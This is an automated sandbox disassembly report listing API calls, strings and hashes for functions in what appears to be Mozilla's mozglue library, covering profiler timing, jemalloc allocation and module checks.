Part of subcall function 6C7B5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5B85
Part of subcall function 6C7B5B50: EnterCriticalSection.KERNEL32(6C81F688,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5B90
Part of subcall function 6C7B5B50: LeaveCriticalSection.KERNEL32(6C81F688,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5BD8
Part of subcall function 6C7B5B50: GetTickCount64.KERNEL32 ref: 6C7B5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C7DF0AC

Part of subcall function 6C7B5C50: GetTickCount64.KERNEL32 ref: 6C7B5D40
Part of subcall function 6C7B5C50: EnterCriticalSection.KERNEL32(6C81F688), ref: 6C7B5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C7DF0BE

Part of subcall function 6C7B5C50: __aulldiv.LIBCMT ref: 6C7B5DB4
Part of subcall function 6C7B5C50: LeaveCriticalSection.KERNEL32(6C81F688), ref: 6C7B5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C7DF155
GetCurrentThreadId.KERNEL32 ref: 6C7DF1E0
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF1ED
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF212
GetCurrentThreadId.KERNEL32 ref: 6C7DF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C7DF248
GetCurrentThreadId.KERNEL32 ref: 6C7DF2AE
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF2BB
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF2F8

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DF350
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF35D
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF381
GetCurrentThreadId.KERNEL32 ref: 6C7DF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF3A0
GetCurrentThreadId.KERNEL32 ref: 6C7DF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF491

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C7DF3CF

Part of subcall function 6C7DF070: GetCurrentThreadId.KERNEL32 ref: 6C7DF440
Part of subcall function 6C7DF070: AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF44D
Part of subcall function 6C7DF070: ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C7DF4A8
GetCurrentThreadId.KERNEL32 ref: 6C7DF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF561
GetCurrentThreadId.KERNEL32 ref: 6C7DF577
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF585
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C7DF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C7DF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C7DF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C7DF499

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: e591d9c17587e5c34c4ffd28ba98cda258a0236033f0e7b1f91b341596eec98d
Instruction ID: eda8b271d273fbcddc32dbf036038c19441f95371e9a7339167f7c96ea923bdb
Opcode Fuzzy Hash: e591d9c17587e5c34c4ffd28ba98cda258a0236033f0e7b1f91b341596eec98d
Instruction Fuzzy Hash: 68D138717042028FDB209F69D50A7AA77F8EB5636CF15457AE96983F81DB306808C7E2

Function 6C7A64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C7A64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C7A64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C7A6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C7A6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C7A652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C7A671C
GetCurrentProcess.KERNEL32 ref: 6C7A6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C7A672F
GetCurrentProcess.KERNEL32 ref: 6C7A6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C7A6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C7A6A80
GetSystemInfo.KERNEL32(?), ref: 6C7A6ABE
__Init_thread_footer.LIBCMT ref: 6C7A6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7A6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7A6AF7

Strings

_etoured.dll, xrefs: 6C7A64ED
detoured.dll, xrefs: 6C7A64DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C7A6798
nvdxgiwrap.dll, xrefs: 6C7A6513
user32.dll, xrefs: 6C7A6526
nvd3d9wrap.dll, xrefs: 6C7A6500

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 34a257032b37067b6627320b4952f84a59518a73319645b7ed4abc1a91f47ad6
Instruction ID: 686a76d48d1fb8fdecc8a3eb0d30734db46752a5d0a94818312033e6b2a4e7a3
Opcode Fuzzy Hash: 34a257032b37067b6627320b4952f84a59518a73319645b7ed4abc1a91f47ad6
Instruction Fuzzy Hash: BDF1F770A052199FDB20CFA8CE48B9AB7B5AF45318F1442B9D819E3B41D731AF85CF91

Function 6C7BD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C7BD904
LeaveCriticalSection.KERNEL32(?), ref: 6C7BD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C7BD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C7BE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7BE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7BE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7BE315
AcquireSRWLockExclusive.KERNEL32(6C81E804), ref: 6C7BE37C
GetSystemInfo.KERNEL32(?), ref: 6C7BE3C7
__Init_thread_footer.LIBCMT ref: 6C7BE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C81E810,00000040), ref: 6C7BE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C81E7B8,00001388), ref: 6C7BE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C81E744,00001388), ref: 6C7BE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C81E784,00001388), ref: 6C7BE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C81E7DC,00001388), ref: 6C7BE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C81E768,00001388), ref: 6C7BE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C7BE52E
ReleaseSRWLockExclusive.KERNEL32(6C81E804), ref: 6C7BE54F

Part of subcall function 6C7AD960: EnterCriticalSection.KERNEL32(?), ref: 6C7AD999
Part of subcall function 6C7AD960: EnterCriticalSection.KERNEL32(6C81E7B8), ref: 6C7ADA13

Strings

MOZ_CRASH(), xrefs: 6C7BE62B
<jemalloc>, xrefs: 6C7BE61C, 6C7BE6CC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7BE560, 6C7BE58A, 6C7BE5A5
: (malloc) Unsupported character in malloc options: ', xrefs: 6C7BE6DD
MALLOC_OPTIONS, xrefs: 6C7BE3FF
Compile-time page size does not divide the runtime one., xrefs: 6C7BE621

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: fbc4312c574705ce9f3770472d87f7642e88aa3ee3b423bd3ae34b93c9b1e81d
Instruction ID: a09ac763520b1a8618919321e2d87ff144b65faa2ab8db4bc42d86a02688cfc3
Opcode Fuzzy Hash: fbc4312c574705ce9f3770472d87f7642e88aa3ee3b423bd3ae34b93c9b1e81d
Instruction Fuzzy Hash: 8192BF71A056028FD714CF28CA44715BBE1BF96328F19C6BDE869ABB95D331E841CBC1

Function 6C7FC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C7FC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C7FC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C7FC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C7FC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C7FC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C7FCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C7FCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C7FDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C7FDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C7FDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C7FDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C7FDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C7FE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C7FE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C7FE472

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 09c1077528873a6aa1d88e616c5e46dd39bda82fce398d8b1c8be69fa051f3bb
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 3533CF71E0021ACFCB14CFA8C9C06ADBBF2FF59310F284269D965AB755D731A946CB90

Function 6C7BED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C7BEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C7BEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C7C1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7C16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C7C1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C7C1A3E

Strings

~qyl, xrefs: 6C7BED10
~qyl, xrefs: 6C7BED13

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qyl$~qyl
API String ID: 3693777188-3896472830
Opcode ID: 9664d1600a6de193957469521119f6860a687ab19e94e196143fdf95401545b2
Instruction ID: 6a03e4e5dc53c0f2256af359e3b449601186d111d612da348c40d3d11f25828e
Opcode Fuzzy Hash: 9664d1600a6de193957469521119f6860a687ab19e94e196143fdf95401545b2
Instruction Fuzzy Hash: 8CB31875E0021ACFCB14CFA8C990ADDB7B2BF49304F2582A9D459BB745D730A986CF91

Function 6C7AFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81E7B8), ref: 6C7AFF81
LeaveCriticalSection.KERNEL32(6C81E7B8), ref: 6C7B022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C7B0240
EnterCriticalSection.KERNEL32(6C81E768), ref: 6C7B025B
LeaveCriticalSection.KERNEL32(6C81E768), ref: 6C7B027B

Strings

<jemalloc>, xrefs: 6C7B0D62, 6C7B0D76, 6C7B0DA7
: (malloc) Error in VirtualFree(), xrefs: 6C7B0D67, 6C7B0D7B, 6C7B0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7AFE99, 6C7AFEB7, 6C7AFED3, 6C7B0DB8, 6C7B0DD3, 6C7B19B4

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 8cadcc830d4e9fd1a29ed499eca8d31f9ff73e83e0dcda4ddac8209cb116987d
Instruction ID: 2d1ecbadca7529ae718171e942cdea6a21d7683a780014565137db18bae9bb91
Opcode Fuzzy Hash: 8cadcc830d4e9fd1a29ed499eca8d31f9ff73e83e0dcda4ddac8209cb116987d
Instruction Fuzzy Hash: 5EC2C2B1A057418FD714CF28CA81716BBE1BF89328F28C66DE4699BBD5D771E801CB81

Function 6C7FE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C7FE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C7FEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C7FEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C7FEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C7FF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C7FF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C800E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C800E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C800EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C800ED4

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 94b75819a1a813ec87451497a4fdc28e38ef4366ed4b31a67ed8040c61852fb2
Instruction ID: d7fa36350d7166eb56113bd5aeb8e4dcd4b4b6d32a70a25007387f20b36f741c
Opcode Fuzzy Hash: 94b75819a1a813ec87451497a4fdc28e38ef4366ed4b31a67ed8040c61852fb2
Instruction Fuzzy Hash: FA639C71E0025A8FCB14CFA8C9D069DFBF2FF89310F298629D855AB755D730A946CB90

Function 6C7D3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C7F7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>}l,?,?,?,6C7D3E7D,?,?), ref: 6C7F777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C7D3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C7D3F5C
VerSetConditionMask.NTDLL ref: 6C7D3F8D
VerSetConditionMask.NTDLL ref: 6C7D3F99
VerSetConditionMask.NTDLL ref: 6C7D3FA0
VerSetConditionMask.NTDLL ref: 6C7D3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C7D3FB4

Strings

nvinit.dll, xrefs: 6C7D4479
C>}l, xrefs: 6C7D3E93
nvd3d9wrap.dll, xrefs: 6C7D4466

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>}l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-88582490
Opcode ID: 2fd2d0eea0810373fcbd02e3a708f82aef1797757415e5a67cff061a9215cf9a
Instruction ID: b6b3f86b6c142e42715a272d0ce12a7441447bfffc0b05f8cabc6370e80110f4
Opcode Fuzzy Hash: 2fd2d0eea0810373fcbd02e3a708f82aef1797757415e5a67cff061a9215cf9a
Instruction Fuzzy Hash: 2E52E371610B494FD725DF74CA88AAB77E9EF45308F14092DE4968BB42DB34F90ACB60

Function 6C7AFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81E7B8), ref: 6C7AFF81
LeaveCriticalSection.KERNEL32(6C81E7B8), ref: 6C7B022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C7B0240
EnterCriticalSection.KERNEL32(6C81E768), ref: 6C7B025B
LeaveCriticalSection.KERNEL32(6C81E768), ref: 6C7B027B

Strings

MOZ_CRASH(), xrefs: 6C7B0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7AFE99, 6C7AFEB7, 6C7AFED3, 6C7B0DB8, 6C7B0DD3, 6C7B19B4, 6C7B1A10

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: dd7b19595dd49a7192b55b138ea2f781319e5316a56eaf7378b554f101d04ce1
Instruction ID: bf7a3a0581d59f53148c7570ffaa964f4b09c518de9834ed75b24eb4cd5edf92
Opcode Fuzzy Hash: dd7b19595dd49a7192b55b138ea2f781319e5316a56eaf7378b554f101d04ce1
Instruction Fuzzy Hash: EBB29C716057418FD718CF29C694716BBE1BF89328F28C67CE86A9BB95D770E840CB81

Function 6C7E5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6C7E5CB6
schema, xrefs: 6C7E606D
ProfileBuffer parse error: %s, xrefs: 6C7E5AC8, 6C7E5CBB
expected a Count entry, xrefs: 6C7E5AC3
data, xrefs: 6C7E6131
name, xrefs: 6C7E5E79, 6C7E5E8F

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 005e761d333ce977993112c8aae41cbfd473154923c888f340c50f8bdde639e8
Instruction ID: febe25c1fdb8e44f629c228a9973a29f2b568e3eefdf95fd931151b59690b498
Opcode Fuzzy Hash: 005e761d333ce977993112c8aae41cbfd473154923c888f340c50f8bdde639e8
Instruction Fuzzy Hash: 5B928E726083458FD724CF28C69479BBBE1BFC9308F14892DE5999B751DB30E909CB92

Function 6C7E2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C7E2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7E2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C7E2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7E3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7E3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7E36BF

Strings

get , xrefs: 6C7E3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C7E378D
set , xrefs: 6C7E36EC

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 8f11ac758853df92cd77ed028a1b50dddf06c1310180d540382e17fc234c1122
Instruction ID: fb496a079c90288acae2a3b360598a894f71d59bba7f495eaa0ea6d06e1adccf
Opcode Fuzzy Hash: 8f11ac758853df92cd77ed028a1b50dddf06c1310180d540382e17fc234c1122
Instruction Fuzzy Hash: D33271716083818FD324CF24C584A9FB7E2AFC9318F548D2DE59987761DB30E94ACB52

Function 6C7F5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C7F6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C7F6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Qyl,?), ref: 6C7F6046
OutputDebugStringA.KERNEL32(?,Qyl,?), ref: 6C7F6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C7F6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C7F6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C7F6082
